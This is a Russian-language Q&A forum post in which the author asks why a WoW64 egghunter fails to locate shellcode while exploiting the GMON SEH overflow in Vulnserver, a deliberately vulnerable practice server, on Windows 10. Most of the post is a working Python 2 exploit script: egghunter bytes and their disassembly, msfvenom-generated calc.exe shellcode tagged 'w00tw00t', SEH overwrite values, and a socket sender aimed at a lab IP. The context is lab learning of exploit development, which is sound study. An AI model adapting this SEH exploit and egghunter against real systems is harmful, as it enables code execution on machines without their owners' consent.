WoW64 Egghunter не находит шелл-код в Vulnserver на Windows 10 - PullRequest
0 голосов
/ 25 января 2019

Я пытаюсь использовать egWunter WoW64, чтобы использовать переполнение GMON SEH в vulnserver на windows 10 64bit.

Мне наконец-то удалось найти egghunter, который не падает на windows 10, но теперь он проходит мимо локациимоего шеллкода при поиске.я знаю, что egghunter выполняется, так что это не какая-то проблема с моими прыжками / возвратами.(я также знаю, что мне на самом деле не нужно использовать egghunter, но я хотел бы узнать о его использовании)

это egghunter, который я использую:

0:  8c cb                   mov    ebx,cs
2:  80 fb 23                cmp    bl,0x23
5:  33 d2                   xor    edx,edx
7:  66 81 ca ff 0f          or     dx,0xfff
c:  33 db                   xor    ebx,ebx
e:  42                      inc    edx
f:  52                      push   edx
10: 53                      push   ebx
11: 53                      push   ebx
12: 53                      push   ebx
13: 6a 29                   push   0x29
15: 58                      pop    eax
16: b3 c0                   mov    bl,0xc0 ; Heaven's gate
18: 64 ff 13                call   DWORD PTR fs:[ebx]
1b: 83 c4 0c                add    esp,0xc
1e: 5a                      pop    edx
1f: 3c 05                   cmp    al,0x5
21: 74 e4                   je     0x7
23: b8 77 30 30 74          mov    eax,0x74303077
28: 89 d7                   mov    edi,edx
2a: af                      scas   eax,DWORD PTR es:[edi]
2b: 75 e1                   jne    0xe
2d: af                      scas   eax,DWORD PTR es:[edi]
2e: 75 de                   jne    0xe
30: ff e7                   jmp    edi

и это мой код на pythonкоторый отправляет эксплойт SEH:

#!/usr/bin/env python2
#SEH exploit of GMON command
from socket import AF_INET,SOCK_STREAM,socket,timeout

#command to execute
command="GMON /"

#egghunter to find shellcode after "w00tw00t"
egg=""
egg+="\x8C\xCB\x80\xFB\x23\x33\xD2\x66\x81\xCA\xFF\x0F"
egg+="\x33\xDB\x42\x52\x53\x53\x53\x6A\x29\x58\xB3\xC0"
egg+="\x64\xFF\x13\x83\xC4\x0C\x5A\x3C\x05\x74\xE4\xB8"
egg+="\x77\x30\x30\x74\x89\xD7\xAF\x75\xE1\xAF\x75\xDE"
egg+="\xFF\xE7"

#padding between egghunter and shellcode
pad="A"*1000

#msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f python
buf =  "w00tw00t"
buf += "\xda\xd5\xba\xc8\x9b\x1e\xa7\xd9\x74\x24\xf4\x58\x33"
buf += "\xc9\xb1\x31\x83\xe8\xfc\x31\x50\x14\x03\x50\xdc\x79"
buf += "\xeb\x5b\x34\xff\x14\xa4\xc4\x60\x9c\x41\xf5\xa0\xfa"
buf += "\x02\xa5\x10\x88\x47\x49\xda\xdc\x73\xda\xae\xc8\x74"
buf += "\x6b\x04\x2f\xba\x6c\x35\x13\xdd\xee\x44\x40\x3d\xcf"
buf += "\x86\x95\x3c\x08\xfa\x54\x6c\xc1\x70\xca\x81\x66\xcc"
buf += "\xd7\x2a\x34\xc0\x5f\xce\x8c\xe3\x4e\x41\x87\xbd\x50"
buf += "\x63\x44\xb6\xd8\x7b\x89\xf3\x93\xf0\x79\x8f\x25\xd1"
buf += "\xb0\x70\x89\x1c\x7d\x83\xd3\x59\xb9\x7c\xa6\x93\xba"
buf += "\x01\xb1\x67\xc1\xdd\x34\x7c\x61\x95\xef\x58\x90\x7a"
buf += "\x69\x2a\x9e\x37\xfd\x74\x82\xc6\xd2\x0e\xbe\x43\xd5"
buf += "\xc0\x37\x17\xf2\xc4\x1c\xc3\x9b\x5d\xf8\xa2\xa4\xbe"
buf += "\xa3\x1b\x01\xb4\x49\x4f\x38\x97\x07\x8e\xce\xad\x65"
buf += "\x90\xd0\xad\xd9\xf9\xe1\x26\xb6\x7e\xfe\xec\xf3\x71"
buf += "\xb4\xad\x55\x1a\x11\x24\xe4\x47\xa2\x92\x2a\x7e\x21"
buf += "\x17\xd2\x85\x39\x52\xd7\xc2\xfd\x8e\xa5\x5b\x68\xb1"
buf += "\x1a\x5b\xb9\xd2\xfd\xcf\x21\x3b\x98\x77\xc3\x43"

#padding to seh
pad1="B"*(3545-len(egg+pad+buf))

jmp="\xE9\x22\xF2\xFF\xFF"   #jmp $-3545 to start of shellcode
nseh="\xEB\xF9\x90\x90"      #jmp $-5 to near jmp
seh="\xB4\x10\x50\x62"       #pop pop ret to nseh

post="C"*(5000-len(egg+pad+buf+pad1+jmp+seh+nseh))
message=command+egg+pad+buf+pad1+jmp+nseh+seh+post

try:
    target=socket(AF_INET,SOCK_STREAM)
    target.settimeout(2)
    target.connect(('192.168.56.4', 9999))
    target.recv(512)
except timeout:
    print("Server not responding! Exiting!")
    exit()
try:
    target.send(message)
    target.recv(512)
    target.close()
except timeout:
    print("Server has crashed! Success!")
    exit()

egghunter должен найти "w00tw00t" в памяти и выполнить шелл-код.вместо этого он выдает мне ошибку:

access violation when reading [00001004]

если я скажу иммунитету игнорировать ошибки нарушения доступа, чтобы он продолжал работать, то адрес в ошибке будет увеличиваться с шагом 0x00001000, пока не пройдет сразу после адреса, гдемой шелл-код не останавливается для его выполнения.

...